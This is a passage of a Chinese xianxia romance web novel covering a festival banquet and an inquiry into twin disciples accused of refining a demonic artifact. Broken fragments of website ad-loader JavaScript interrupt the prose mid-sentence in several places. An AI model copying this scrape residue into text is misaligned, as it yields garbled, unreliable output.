玉阑音这破得和筛子似的身体,都不必说结界受损,哪怕只是平日一阵寒风都能叫他发作个昏天黑地。 可温卓却一次都没发现过。 谁让瘦死的骆驼比马大呢,玉阑音的修为摆在这里,若真心想瞒住点什么人,想压下去点小小病气,那不是信手拈来小菜一碟? 怪只怪那天的他真的太累了,太疼了。 白天在庙会上他方能提起两分精力去应付一番,但折腾到了晚上,一个疏忽大意,那病气便来势汹汹地反扑上来,从此便再也没能压得下去。 玉阑音到现在都能回忆起,那晚上温卓的眼泪掉到他手背上的触感。 倒真不是说矫情的心疼啊如何如何,只是那天他看着温卓红通通的眼睛,忽然觉得自己这么大一个人,居然叫一个还没他岁数零头大的小娃娃担心成这样,未免实在太不是个东西。 玉阑音窝在躺椅里漫天地胡思乱想回忆着,有一搭没一搭,直到有些昏昏欲睡。 就在这时,玉阑音听到门轻轻地开了。 他听着那熟悉的脚步,甚至懒得抬起眼去看。 是温卓。 温卓方才夺门而出后,当即毫不留情地给了自己两巴掌。 他浑身颤抖到双手都握不成拳,甚至都不敢再去回忆他刚才伸出的手究竟是要做什么。 你在疯什么?你怎么敢的? 思至此,温卓抬起手,又给了自己两个响亮的耳光。 或许是这几个不遗余力的巴掌终于唤回了他的理智,温卓这才逐渐地止了身上的颤抖。 那厌族的神识见温卓意志晃荡,早就又蠢蠢欲动,如今更是开始口吐人言,轰隆隆地在温卓识海里扯着嗓子鬼哭狼嚎。 不外乎还是“你把身体给我,我可以帮你实现任何事”这种老掉牙的话术,时而应景地夹杂着些叫人心热难耐的有关玉阑音的荤话。 在温卓欲念红尘缠身,周身净是解不开的业障,最疯狂最思念的时候,他不是没对这诱惑动过邪念。 可现在他听来只觉得恶心。 温卓听着那蛊惑人心的靡靡之音面不改色,甚至随着它的话越来越阴沉。 直到最后,他眼中闪过红光,神色是与厌族别无二致的疯魔,吐出的话却毫无半分失态的迹象,寒得像三九天井下的冰,“你算什么东西?你也配?” 厌族的神识没有实体,自然是没什么强取豪夺的能力,只有人心神不稳了,脆弱动摇了,它才能有可乘之机。 如今见温卓恢复了往日的清醒,甚至是有了暴怒之势,那厌族自是不愿自触霉头,没等温卓说完话,已经知好歹地神隐遁地溜走了。 温卓自然感受得到它的离开。 他冷笑一下,果然不过是一欺软怕硬,只会躲躲藏藏的灰老鼠。 温卓眼中红光的未消,于是垂着头静静地站在原地许久,又费了点心神才把自己完全收拾妥当。 其实他原本不打算再用今晚这副状态去见玉阑音了,奈何实在是思念。 又想到方才他走得急,连条毯子都没给玉阑音盖上。那人从前便爱在躺椅里休息,若真是睡过去一晚上,如此凉一夜,明天还不得病了? 如此想着,他似是得了什么正当的理由似的,光明正大地复而折返。 温卓尽可能地放轻了动作,轻声推门而入。 往屋内躺椅上一看,只见那人果然是不出所料地在躺椅上睡了过去,一张脸背着光,安静异常。 温卓脚下没再动,就站在原地,用目光一遍一遍摸过这人的温润的眉眼,鼻尖,耳垂,唇角。 他心头那躁动破土的思念,就在这长久的注视中慢慢被熨贴平整。 他感受到了一种极为平和的宁静。 这种感觉总让他想起还住在药居时,早上睁开眼,听到厅房里传来的咕噜噜的煮茶声,和偶尔瓷器相碰清脆的叮当声。 没什么特别的,但是让他着迷到想要死在这个瞬间。 原本他以为,毕竟是个男子,打横抱起来多少还是要使点力气的,但如此准备着,真抱起玉阑音的时候,他却险些被恍地往后一退。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 因为玉阑音实在是太轻了。 温卓原本还有些旖旎的心思,在玉阑音的骨头硌到他胸口的时候就全然无存了。 平日的宽大广袖长衫罩着不显,但玉阑音早就瘦得皮包骨头,说一句“形容枯槁”都不为过。 温卓抱着玉阑音的手根本不敢用力,生怕自己一个力气用大了,这人就要和小木偶似的碎在他怀里。 把玉阑音放到床上的动作,温卓做得轻之又轻。 但实际却是,玉阑音在挨到床的一瞬间便醒了过来。 温卓原本打算给他掖好被子便悄声离去的,一盒抬头骤然对上了玉阑音的目光,也是一愣。 “是吵醒你了吗?”温卓问。 玉阑音看着他,轻轻摇头,“没有,原本就没睡熟。” 温卓点点头。 因为之前已经知晓法术对玉阑音不管用了,这回他也就没再套保温结界,只灌了好几个汤婆子塞进了他的被子里,“夜里凉了便叫我,我听得到。” 玉阑音心情不错地看着温卓围着他忙东忙西。 “明天是三月三,上巳节,”他道,“照惯例宗门里要举行好些活动,你这些年里去没去瞧过?” 温卓手上替他收拾被褥的动作不停,“未曾。” “嗯,那明天便一起去,”玉阑音应道,“先前答应你的庙会一时半会儿补不上,不过幸好现在是春天,在中原地界好玩的节日有好些,就先把这些和你许下罢。” 温卓动作一顿,得过了好一会儿才将头重新低下,手上的动作依旧,“好。” 忽然玉阑音似乎是发现了什么,看着温卓的脸颊,道:“这里是怎么了。” 温卓被这么一说这才想起,他的脸似乎因为刚才那几个巴掌有些红肿。 他不是个很会说谎的人,一时被问得怔住,思来想去了好久都没能编出个像样的借口。 玉阑音见温卓听了这话后,手上的动作停了好久,甚至隐约露出了小时候才会有的那种手足无措。 他眉头一皱,“为何不与我说?是遇到什么难事了?还是十方宗有什么人欺负你了?” “没有,”这回温卓倒是回得很快,随后不知是出于什么心思又补了一句,“没人能欺负得了我。” 玉阑音第一想法是怕温卓厌族的身份被有心之人得知了,受了欺负。 这会儿听了温卓的回答,他一愣。也是,温卓早不是先前那个走路都磕磕碰碰的小孩儿了,修为到了何种程度他今日也已见到,哪至于会受这种欺负呢。 玉阑音笑了下,心道自己似乎是太过草木皆兵了。 他慢慢松开了紧皱的眉头,“也是。不过若是今后有真的谁来找你麻烦,还是告诉为师,为师替你出头,切不可擅自解决。” 对于如今的师徒关系,很显然玉阑音已然是沉浸了进去,甚至是颇为享受,“所以是出了什么事了?能不能和师尊说说看?” 温卓暂时也没空理这人的师尊病,他低着头费尽心思地编着理由,又是思索了好一番,他才有点心虚地开了口,“我这是……过敏,最近过敏了。” “过敏?”玉阑音听了之后,更觉得疑惑,“对什么过敏?我怎么一直不知道?” 温卓本就是编的瞎话,现在看着这人毫无眼力见儿地问问问个不停,心下更是烦躁。 盯着玉阑音的张张合合的嘴,盯得久了,大概是走了神。 温卓忽然鬼使神差般开了口,“你。” 20. 春景 温卓这话一出口,还没等玉阑音作出反应,自己倒是先愣住了。 几乎是瞬间出了一身冷汗。 不过这份慌乱倒是也没持续太久。 因为出乎他意料的,玉阑音的反应极其稀松平常。 他甚至是笑了起来。骤然吸了些凉风,玉阑音不得不偏过头低低咳了几声,之后才笑道:“没大没小的东西,在这儿挤兑我呢?过敏也成了我的问题了。” 温卓见他这个不甚在意的态度,心下松口气,但是过了一会儿,又莫名其妙觉得有点不痛快。 他垂下眼,把刚撑起身的玉阑音按了回去,“睡会儿吧,天不早了。” 玉阑音也不恼,任由着他掰过来掰过去。 温卓轻轻熄灭了桌台上的汽灯,便抬脚离开。 临别之际,温卓终于有机会说出所有离别的话语中,他最喜欢的那一句。 “明天见。”他道。 温卓不是一个爱说话的人,也不是一个坦率的人。 就像那年正月十六,他离开药居的那个早上,即便有万般不舍,他也没说任何一句告别。就舍得转头离开,离开百年之久。 但太阳这么多的东升西落,人的心思一变,一切就都变了。 如今温卓再回想,只觉得,如果能回到那个清晨再来一次,他这回一定会借着年纪小,把头埋进他怀里,用力抱一抱这个人再走。 时间走得太快,让尘世间连告别的机会都是那么屈指可数。 明天见。 玉阑音似乎愣了一下,半晌,才在一片黑暗中用同样的话语回道:“嗯,明天见。” 而直到温卓回到自己房间,坐到了床上,他依旧感觉自己的情绪难以平息。 这一天仿佛比他的过去的一百年都要漫长。 他亢奋到有些坐立难安。 温卓修为已至大成,其实不需要靠凡人的睡眠来休养精神了。 但他今天却破了例,没打坐没练功,久违地躺到了床上合了眼。 不为别的,只为这一夜能过得快些。 三月初三,上巳节。 清晨的朝露滚落叶片,虫鸟杂鸣。卷层云,火红的朝霞。 是一个好天气。 温卓醒得很早,左右也无事可做,辗转反侧一番,终于还是决定去玉阑音屋前走上一走看看他。 哪成想刚一出屋门,远远地便看到玉阑音屋里居然亮着灯光。 自窗前走过,他见玉阑音此刻正坐在床头,低着头拿着针线认认真真缝着什么。及腰的长发被他随意地别在了耳后,鼻梁上架一副薄薄的琉璃叆叇[1],镜片稍稍挡住了他温润的眉眼。 温卓眉头狠狠皱起。 他大步流星,直接抬着步子就闯进了玉阑音的居室,一进屋便是一顿连环骂:“这么暗的屋子怎么能做针线活?眼睛还要不要了?我住得这么近怎么不叫我来?” 本来还惬意端坐的玉阑音,就这么被这突如其来的入侵者骂了个劈头盖脸。 他脸上还带着些许茫然,摘下了叆叇,良久才消化了温卓的这一大通别扭的关心。 随后笑眯眯朝温卓摆摆手,道:“你来的正好,过来坐。” 温卓从来没忘记过,玉阑音的眼疾还是当时为了给他写字帖落下的。 如今他一见玉阑音的这副叆叇,心里很不是滋味。他半是愧疚半是心疼,看着这人这副模样心里又软,更是打也舍不得,骂也舍不得。 温卓目光沉沉看着他。 “过来啊。”玉阑音笑着拍拍床侧。 温卓叹了口气,随后认命似的坐到了玉阑音床边,再开口时,语气已经已经软和了许多,“是又编出什么唬我的借口了?我听听看。” ……只是遣词造句依旧还是很尖锐。 玉阑音不赞许地“啧”一声,“瞧你这话说得多么尖酸刻薄,我是这样的人么。” 温卓看着玉阑音鲜活的神情,心里喜欢得紧,半逗半哄地道:“嗯,不是。” 玉阑音笑着剜他一眼,随后拿出了他手里正在缝的东西,是个净黛色的香囊,凑近了能闻到一股暗香。 “给你的,”玉阑音把香囊往温卓手里一放,“上巳节照习俗是要换香草,特地给你做的,还喜欢吗?” 玉阑音的香囊是稠面的,绣得很板正,走线也工整。 温卓对香草啊药草啊一窍不通,也辨认不出里头装的到底是什么。不过总归不能是害他的东西。 他愣愣地把香囊收下,“你一晚上点着灯……是在做这个?” 玉阑音往被子里缩了缩,缓了缓有些僵直了的腰,舒服得叹息一声,“哪有一晚上。就一两个时辰的事儿。” 温卓立刻又皱起了眉。 玉阑音见他的神色一重,抢先开了口,“……但是也不会有下次了,快放心吧,我心里有数。” 温卓被堵得哑口无言,最终只叹气道:“下次不许了。” 边说着,边小心翼翼把香囊挂到了腰带之上。 上巳节,最重要的活动便是邻水饮宴和流觞曲水。 十方宗的侧峰光殷峰之上有一眼山泉,到了中下游便成了一道不小的曲水。因河流沿岸开着成片的春兰,这曲水被十方宗命名为兰溪。十方宗的上巳节活动向来是在这里举办的。 正午的邻水宴饮上,温卓和玉阑音姗姗来迟,等两人到了的时候,宴饮已经开始好一会儿了。 今日克古鲁在器阁加班加点地炼法器,镜遥和原佰都被青玄遣到外地除祟。于是二人自然而然地坐到了秦鹤生与善玄的身边。 再旁边还坐着元宿央和秋风。 玉阑音看了元宿央一眼,只一眼,就颇为头疼道:“你怎么还没走?” 元宿央翻个白眼,“你十方宗难不成多容我一个客人就能穷了不成?你少管我。” 玉阑音看他这无赖样子无奈地摇摇头,“拢虚昨夜又来了消息,叫我转告你,掌门之位,你躲是躲不掉的。” 听了这话的元宿央,脸立刻就臭了下来,“让他滚。” 玉阑音拱拱手,笑眯眯道,“那只能是劳烦少掌门亲自去说了。” 一旁正往羽觞中斟酒的秦鹤生一哂,这立刻吸引到了玉阑音的注意。 于是玉阑音转头又朝秦鹤生笑道:“你啊,还不是因为你惯着他,天天叫他躲在十方宗,不知道的都要以为这是十方宗少掌门了。” 玉阑音说话慢悠悠的,带着几分笑意,与其说是在抱怨,不如说是相熟之人之间的闲情逸致的叙旧。 秦鹤生乐呵呵地往玉阑音手里递了一只玉制羽觞,“这不也是真人默许的吗?” 玉阑音轻笑一声接过羽觞。 春天的酒凉,玉阑音捏了这羽觞没一会儿,指尖被冰得都有点僵住了。 由于他有意瞒着温卓,不愿叫他知道自己灵脉尽枯,于是正打算暗中化一些天地间的元灵气应个急时,一双干净的瓷白玉箸抵住了他的手。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>是温卓。 温卓垂着头看着玉阑音,漆黑的瞳仁仿佛无甚情绪,又或者只是隐秘不发。 “我来吧。”他沉声道。 温卓指尖一拈,玉阑音手中冰凉的羽觞瞬间便热了起来,过了一小会儿,指尖便也暖了过来。 玉阑音顿了一下,随后故作调笑学着温卓的动作,也捻了捻指尖,笑道:“好厉害啊,一一。” 温卓没回话,只看着他。 玉阑音脸上的笑很快就挂不住了。 直到很久,他侧过头,极轻地叹了口气。 果然啊,还是什么都瞒不过他。 温卓从小便是:不问,只做。 现在依旧是这样。 既然玉阑音不说,那他便要用行动告诉玉阑音“我知道了。” 玉阑音本以为自己大概会感觉被冒犯,可事实是,完全没有。 他眨眨眼,随后笑着推了推温卓,低声道:“好了,好了,我错了,以后一定好好养身体,长命百岁,行了吗?” 长命百岁。 这是篝火前温卓对着玉阑音许的愿。 当时他说,希望玉阑音长命百岁。 温卓蹙了蹙眉,抿唇道:“不行。” 大概玉阑音也没想到他会这么说,于是一愣,“那?” 不过温卓却没再继续说下去。 他只伸手碰碰玉阑音端着的羽觞,“快喝吧,要凉了。” 玉阑音看了他一会儿,随后像身旁看去。 春天的草地上兰花开得正好,沿着兰溪开满了一整个岸边。 一旁,善玄和秦鹤生正在和秋风聊着天,元宿央在闷着头喝酒,青木正和秉文拌嘴,几个年纪大一点的弟子拉着弓比赛射大雁。 其余还有些更为风雅的长老,便玩着曲水流觞的古老项目。荷叶盛着羽觞顺流而下,止于谁前谁便要饮酒吟诗作赋。 起初倒是还有些能品赏一番的绝句,等酒过了三巡,再作的诗便是一些半俗半雅的打油诗了,逗得一众人哈哈大笑。 玉阑音看着这春和之景,心中生出了无限的温情。 大概是因为孤身一人在北塞太久了,他总忘记他其实是那么的思念着春天。 玉阑音附耳朝温卓低声道:“一一,借些灵气用。” 温卓看他一眼,连为什么都没问便化了个暗红色灵气球给他。 玉阑音伸出手将灵气球拖在手里,指尖轻轻一转,整个灵气球便如破碎的玻璃一般碎裂散开。 忽然间整个山谷中飘起了细雨。 不过说是细雨,其实也就是几个雨点,一人身上充其量不过两三点。 整个十方宗的人都隐约安静了一瞬。 随后便齐齐看向玉阑音。 “谢无上长老祓禊!” 其中几名弟子道。 随后又此起彼伏的传来了好些声“谢过无上长老”之类的话。 秦鹤生笑着朝玉阑音拱了拱手,善玄也在一众声音中道了一声:“谢师尊!” 祓禊是上巳节的另一习俗。 传言用柳枝沾花瓣水点头身可以去灾病,如今玉阑音所做的便是为十方宗的各位祓禊。 玉阑音轻轻倚在温卓身上,笑着朝众人颔首。 至若春和景明,波澜不惊,上下天光,一碧万顷[2]。 期待了百年的春天,终于在雨水与祝福中到来。 年少之人成群结队言笑晏晏,只道今夕春好色。 21. 炉阵 只可惜天不遂人愿。 宴会还未结束之时,善玄忽然接了一通灵犀灯传音消息。 灵犀灯传音隐秘,外人听不到,于是众人只能从善玄的反应窥探一二。 众人只见,在接了通话之后,善玄的表情猛地一变。 见状,秦鹤生首先收起了他的老好人笑脸,一瞬间便生出了掌门的威严,“善玄,何事?” 善玄脸色沉重,“青木来消息,恪心和恪云因暗中炼化厌族法器,想与掌门请示,将其兄弟二人逐出师门。” 秦鹤生和温卓同时皱起了眉。 “无妄门下的那对双生子?”秦鹤生问道,“我记得他们,挺好的两个孩子,怎会心术不正?莫不是青木误会了?” 善玄蹙着眉摇头,“是器阁崇本查出的,应当不会出错。” 温卓与栾恪心和栾恪云仅有过一面之缘,不敢妄下定论。 但若善玄所言为实,十方宗内有厌族法器,他不应该感受不到。 此事怕是有古怪。 元宿央和秋风不认得他们话中之人,但察觉在座之人面色不善,便老老实实在一旁闭着嘴。 栾家双生子来宗门来得晚,玉阑音并不认识,但不妨碍他听明白了个大概。 见众人沉默了下来,气氛一时沉重,玉阑音率先站起了身,“多说已无益,一同前往一看便知。” 玉阑音起身起得急,眼前一白,唇色脸色瞬间退了个七七八八。他往后一个踉跄,就在他以为自己必然是要摔个大马哈之时,一双坚实有力的胳膊顶住了他。 是温卓。 温卓眼睛和粘在玉阑音身上似的,玉阑音一点风吹草动都逃不开他的眼睛。 玉阑音愣一下,暗自觉得两人之间隔得太近了些。 他借拍了拍温卓的空当,不着痕迹与温卓拉开了些距离,随后才装作无意地笑一笑,道:“谢谢。” 温卓低头看了他一眼。 今日上巳佳节的好氛围,断不能因为这等晦气事搅了兴致,于是一行人离开之时的动作都静悄悄的。 元宿央和秋风做贼似的仍旧跟在这些人屁股后面。 跟得久了,秋风便不自在起来,心虚道:“元兄啊,我们毕竟是外人,去偷听别人宗门私事是不是不妥?” 元宿央睨他一眼,“这有什么不妥的?方才这事情就是在我们耳边说的,若是我们两个留在兰溪边,有人来问,我们说漏了嘴,那岂不是更糟了?” 秋风略加思索,赞叹不已:“元兄深谋远虑,我真是自愧不如。” 栾恪心和栾恪云此时正被押在器阁。 器阁长老法号崇本,玉阑音一行人到达器阁之时,栾家二子正跪在器阁正殿中央,崇本正站在二人面前,沉着一张脸。 “崇本。” 未见其人先闻其声,还未进入殿门,秦鹤生冷冽严肃的声音已然传来。 崇本闻声回头看去,连忙行了一礼,“掌门,真人。” 随后又与其他平辈之人颔首致礼。 “许久不见,崇本,”玉阑音轻笑,“今日这是生了何事?” 崇本中年人模样,生了华发,毕恭毕敬再行一礼,“回真人,今日于此二子房中发现一炼化炉,其中虽未发现法器,但仍存在相当的厌族之力。私藏炼化炉已是违反门规,更何况是炼化厌族法器。事态紧急未能告知,便擅自将二子扣押至此,还望真人与掌门恕罪。” 虽然仙盟并不明令禁止厌族法器,但对于这类法器的炼化与规格都有非常明确的要求,未受批准的门派禁止私自炼化。 若是被发现,一经查证,便是要被判为勾结外族的死罪。 善玄的眉头从听了这个消息之后就没解开过,他朝那狼狈跪在大殿中央的两个年轻人道:“无妄最近不在宗门,特意叫我多关照你们一二,你们如今这怕不是要寒了你们师尊的心?” 他顿一下,似乎是叹了一口气,“你们可认罪?” 一直低头跪在众人面前的栾恪云终于抬起了头,分外急切无助道:“善玄师叔!我们是被冤枉的,善玄师叔!我和我哥从来没有私自炼化过法器,厌族之力更是无稽之谈!是有人陷害我们的啊师叔!” 说着他两眼通红,朝着面前的各位磕起了头,“无上长老,掌门,还有各位师叔,我们真的是冤枉的啊!” 崇本大怒,“居然还敢狡辩?法器之上有你栾氏刻印,其中厌族之力与云霄大比之时裴家小儿的怨生笛如出一辙,还能是我误会了你们不成?” 善玄听后一愣,率先出声,“怨生笛?” “各位来之前我已仔细查看过,那炼化炉中厌族之力来源便是那怨生笛,”崇本说着,将视线又转向了玉阑音和温卓,“恐怕温卓小兄弟那日对上这怨生笛,并非意外,而大抵是居心叵测之人有意而为之。” 在场众人听至此,眉间皆是一蹙。 秋风在角落里与元宿央咬耳朵,“原来如此,那日我便是觉得有古怪。那位裴小兄弟修为如此之低,怎么能驱使得了那厌族法器的?原来他也是被利用的,这倒是解释得通了。” 元宿央神色同样不善,“若真是如此,这两个不知天高地厚的小子难逃一死了。别人暂且不说,单是太嵇就不会让他们活着走出这器阁。” 秋风闻言一惊,立刻朝玉阑音看去。 之间玉阑音面上依旧不悲不喜,似乎只是笑容浅淡了些,“哦?还有这事?” 他嘴上问着,看着的却是温卓。 温卓点点头,避重就轻道:“确有其事,一开始是有些措手不及,不过算不上强劲的对手,并无大碍。” 玉阑音听后只看了温卓一眼,并未与其继续多言。 一转头,他忽而撤去了他的一切温和,垂下的眸子之中甚至称得上冷硬,也不知是朝着栾恪心和栾恪云,还是朝着当众所有人道:“私藏炼炉,勾结厌族,残害同门。当诛。” 玉阑音此言一出,在场所有人冷汗就下来了。 一时之间无一人敢作声。 倒是那闷不作声,跪了许久的栾恪心闻言抬头看了玉阑音一眼。 最终在一片沉默中,温卓开了口,而且所说之言颇为石破天惊,“阑音,不可意气用事。” 所有人听了这话齐齐一愣,一时都以为自己生了耳疾。 这看着板板正正的小孩儿,怎么说起话来能这么以下乱上的?不仅直呼其名,还在这儿教训起人了? 秋风低声嗫嚅道:“……元兄,我还是想问,这两人关系到底是好还是不好?” “昨晚上和你讲的都喂了狗了么,”元宿央翻他个白眼,“都说过了,两个人关系好得很,太嵇能算是这小子的半个爹,但是太嵇呢,不愿意叫他知道自己的事,所以以后你要注意,少在他面前提到这些。这回听清楚了?” “听清楚了,”秋风爽快一点头,一口蹩脚的中原话认真发问道,“不过元兄,你与你爹也是这么说话的吗?” 元宿央:“……”那倒不至于。 元宿央:“你这人真是死脑筋,都说了,半个爹。这不还有一半不是爹呢吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 秋风眼神无比澄澈道:“那另一半是什么?” 元宿央一皱眉:“当然是……” 他说着抬头看了一眼这两人,忽然觉得哪里有点怪怪的。 秋风追问:“是?” 元宿央白他一眼,“……当然是朋友了啊,问问问,别问了,吵得要死。” 不过,出乎众人意料,听了这话的玉阑音丝毫没有什么恼意。 他只是皱了皱眉,回头与温卓道:“都告诉你了,受了欺负要告诉我,你都记到哪里去了?” 众人:“……” 您好,您嘴里受了欺负的这位已经把裴谞打哭了。 温卓看着玉阑音,轻笑了一声:“嗯,下次会记得的。” 玉阑音轻轻剜他一眼,倒是没再说话。 众人看着这都骑到无上长老头上了的温卓,大为震惊,看向温卓的目光都多了几分敬佩。 温卓忽然朝着众人抱了抱拳,“抱歉打断各位,但各位长老可否听我一句?” 众人安静地听着。 温卓又拱拱手,道:“这怨生笛我曾与其交过手,也有过几分了解,不如崇本长老将炼化炉拿来,待我等几人也查看过了再下定论?” “确有些道理,”沉默了许久的秦鹤生终于开了口,“真人看,这样如何?” 玉阑音看一眼温卓,骄矜地抬了抬下巴,默许了。 “崇本呢,如此处理可好?”秦鹤生问道。 崇本自然是没什么意见,爽快地答应。 栾恪云颇为感激地看了看温卓。 那炼化炉很快就被拿了上来。 善玄和秦鹤生立刻上前去好生看了一番。 “的确是有厌族之力不假,”善玄道,“小师弟,你来瞧瞧,这灵气是不是同那怨生笛一样的?” 温卓甚至没有凑上前,他只一看便肯定道:“嗯,是一样的。” 玉阑音看了温卓一眼。 栾恪云脸色一白:“真的不是我们!还望掌门长老明察!我们是被冤枉的!” 善玄叹了口气,道:“是真是假我们看了便知,若你们无辜,我善玄定不会叫你们被诬陷了去。你们且安心些。” 栾恪云安静了下来,眼睛红红的,“谢过善玄师叔。” 善玄疲惫地点点头。 崇本抬了抬下巴,胡子翘得老高:“我都说了,我检查过的法器,不会有错。” 秦鹤生安抚地朝崇本点点头,随后道:“真人,你是否要检查一下这炼化炉?” 玉阑音身体算不上舒服,心情也算不上好,再加上方才兰溪边饮的两杯酒也发挥了作用,如今他神情很是恹恹。 他走上前去,伸出两只手指夹着炉耳左右转了两圈,忽然皱了皱眉。 “怎么了?”温卓早就看出了玉阑音状态不算好,被玉阑音的一个皱眉吓了一跳,“是哪里不舒服?” “这可不是个炼化炉,”玉阑音道,“这是个炉阵。” 在场人闻言,脸色齐齐一变。 法阵之法取自天地,落了阵便是虚无无形。 极少人会使用器物作阵,一来是因为器物之气有限,二来则是器阵容易受器物本身与外物的影响。 “这炉阵里的法阵大概还是个禁术法阵,”玉阑音又道,甚至是看到了什么有趣的东西似的,轻笑一下,“不过看起来有些年岁了,倒确实不像这两位年轻人所为。” 他笑意未减,在众人的惊诧中温温和和道:“请问两位小兄弟,对此了解多少呢?” 22. 同行 栾恪心一如既往地沉默着不说话。 一旁的栾恪云急匆匆道:“无上长老,您一定要相信我们,这炼化炉上虽然刻着我们栾家的金印,但是我和我哥真的和这件事没有关系!对不对啊,哥!” 栾恪心被栾恪云的胳膊肘子杵得歪了一下,似乎是回了神,他看了眼栾恪云,“嗯,对。” 栾恪云得了他哥的回应,忙接过话:“还望掌门与各位长老明察!” 随后又是邦邦响的三个响头。 玉阑音看着他磕完头,最终轻叹一口气,“先起来吧,跪了多久了?” 栾恪云前前后后,看了玉阑音又看看秦鹤生,如此数次,一时间不知该不该照做。 不过这也怪不得他们。 毕竟玉阑音看起来年纪轻,只要不是如刚才那般挂了脸,大概总是一副好脾气先生的模样,很难让人对他上位者的身份有什么实质感。 倒是一旁善玄皱了皱眉,“师尊贵为十方宗无上长老,他说的话你们照做便是。” 栾恪云闻言,连忙抓着栾恪心站起身,边道:“谢无上长老!谢无上长老!我们跪了也没多久,就几个时辰。” 玉阑音点点头,收回了拿着炼化炉的手,退回到温卓身边:“鹤生,你是掌门,这件事如何处理交由你定夺吧。” 玉阑音的声音听起来有些虚浮,温卓在他靠回来的一瞬间就伸手扶住了他。 他敏锐察觉到了玉阑音不对劲,一皱眉,附耳低声问道:“头疼?” 听到这话的玉阑音仿佛是忽然泄了气一般,轻轻吐出一口浊气,“一点,不碍事。” 温卓叹一口气,伸出单只手,不轻不重按了按玉阑音两耳后的天冲、浮白两穴,“再忍忍,一会儿就回去了。” 玉阑音被按得舒服,稍阖着下眼,没回话,也不知是没听到还是只是懒得开口。 秦鹤生朝玉阑音点点头,道:“此事看来牵扯颇深,不过,既然这炼化炉出自栾家,便可从此处着手调查。” 秦鹤生思索半晌,随后唤道:“温卓。” 温卓一颔首,“在。” “你同他们二人相熟,又曾同怨生笛交过手,这事交给你去办,可否?”秦鹤生道问道。 温卓轻轻一抱拳,“是,掌门。” “那这件事暂时便这么处理,等查证之后再做定夺,”秦鹤生似乎也是疲惫了,点了点拐杖,“栾家两位小儿,你们随温卓同行,算作将功补过吧。” 众人对此自然也没有什么异议。 算起来上巳节的宴饮也到了结束的时间,几人便没再回兰溪的宴饮之上,只留下同崇本叙了叙旧,随后又是被崇本拉着逛了好一番器阁。 中途元宿央和秋风找了个借口溜走了,玉阑音不好走开,一通下来耗得周身都要脱了力。到了最后,只能半倚半靠地跟在温卓身边,话都少了三成。 直到器阁天南海北的珍贵法器看了一个遍,几人这才得以从崇本的魔爪之下脱身。 温卓和玉阑音同几人告了别,天色已晚,两人便没再去别处,回到了虚空山。 玉阑音一身倦意,进了屋后便躺在摇椅里打起盹。 温卓看得心疼,给他添了一床小毯,“还是不舒服?” “嗯,”玉阑音轻声道,“头疼。” 温卓垂着眉眼叹口气,到玉阑音身后,曲指替他揉压头部穴位,“春天的风还凉,你又喝了酒,受了累,可不是要头疼了。” 玉阑音对于温卓的这等窝心相当受用,懒洋洋回话道:“我不好这觞中物,还不是因为赶上了佳节——而且还有你在。” 温卓按着玉阑音额角的手一顿。 许久,他才声音沉沉道:“别总说这种话。” 温卓这教训人的话把玉阑音说得一愣,他睁开了眼,笑盈盈往温卓脸上看去,半是调笑道:“哦?是哪种话呀,小先生?” 温卓面无表情把他的头掰回去,“别乱动。” 玉阑音一副好学生的样子,老老实实把头摆正,笑意好久没能收回。 好久后,他像是想到了什么似的,问道:“是明日启程?” “嗯。”温卓声音平平,应道。 玉阑音闻言点了点头,“也好,早去早回。” 话说到这里就结束了。 直到第二天,温卓手里拿着一件薄绒毛领披风来到玉阑音屋里。 玉阑音此时正倚在床头读着书卷,见到温卓进屋,有些意外,“怎么来得这么突然,是要走了?” 温卓道:“嗯。” 随后玉阑音就一脸懵地被温卓从被窝里抓了出来。 温卓抿着唇,也不抬头看他,手脚不停地把披风系在了玉阑音的脖颈处。 玉阑音倒是没反抗,随着温卓在这儿折腾,边疑惑地问:“嗯?” 温卓嘴角依旧抿得平直,把玉阑音的头发顺好,往他手里塞了个温乎乎的小暖炉,“你跟着我一起。” 说的话很是不客气,看起来也没什么要与玉阑音商量的意思。 玉阑音失笑,“小孩子么?离不开人。” 温卓不理他。 玉阑音叹口气,继续好言相劝道:“我跟着也帮不上什么忙,充其量不过是给你添些麻烦……” 温卓忽然皱着眉看他一眼。 玉阑音被瞪得一怔,不由地住了嘴。 温卓也不打算同他解释什么,只上上下下检查了玉阑音好几遍,“栾家在蜀中。你这段时间身体不好,我们坐轿辇去,路上慢走,把身体养好。” 玉阑音看了温卓好一会儿,终于后知后觉地想道:这小孩儿,不会真的是因为久别重逢,离不开人吧? 这种想法一冒头,玉阑音简直是要笑眯了眼,好一阵心软。 他看着温卓东忙西忙,松了口,甚至颇为愉悦地应了一句:“行吧,那就都由着你们。” 这话一出,倒是温卓的动作肉眼可见的一滞。 他可是清楚得很,玉阑音这人看着性子软,说起什么来都是笑眯眯地“好好好”,但实际上,玉阑音阳奉阴违的瞎话说得比谁都多,犟得很。 温卓今日的先斩后奏,可不是为了来征求玉阑音同意的,也做好了惹得他不高兴、强押着他上路的准备。 倒是玉阑音这诡异的愉悦才出了他的意料,叫他一时摸不到头脑。 不过好在这也不是什么坏事。 没过多久,栾恪云和栾恪心便来虚空山上叫人了。 栾恪云心觉摆脱了叛逃的嫌疑,高兴得紧,来去走路都带风,嘴角都要扯到耳朵后。 一路上,栾恪心喊他“慢点”了好几回,栾恪云听着,呲起牙一回头,噗呲咔摔了个大马哈。 栾恪心:“……” 于是最终,栾恪云是栾恪心搀扶进了门的。 门一开,玉阑音瞧着这两人,先笑了起来,“怎么回事?这是掉谁家烟囱里了?” 温卓看着花猫儿似的栾恪云,也勾了勾嘴角。 磕破了腿、碰了一身灰、脸上也黑黢黢的栾恪云:“……” 栾恪云回头:“哥,你看他们……” 栾恪心无奈地闭了闭眼,叹口气,“恪云,我一路上便想说,你是个药术师 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 栾恪云眨眨眼,“哦,对哦。” 语罢,栾恪云麻溜地给自己使了两个疗愈术,立刻就漂漂亮亮崭新起来,他呲了呲牙,“嘿嘿。” 栾恪云:“……” 玉阑音当即被逗得笑出了声,笑够了,抱着暖炉施施然站起了身。 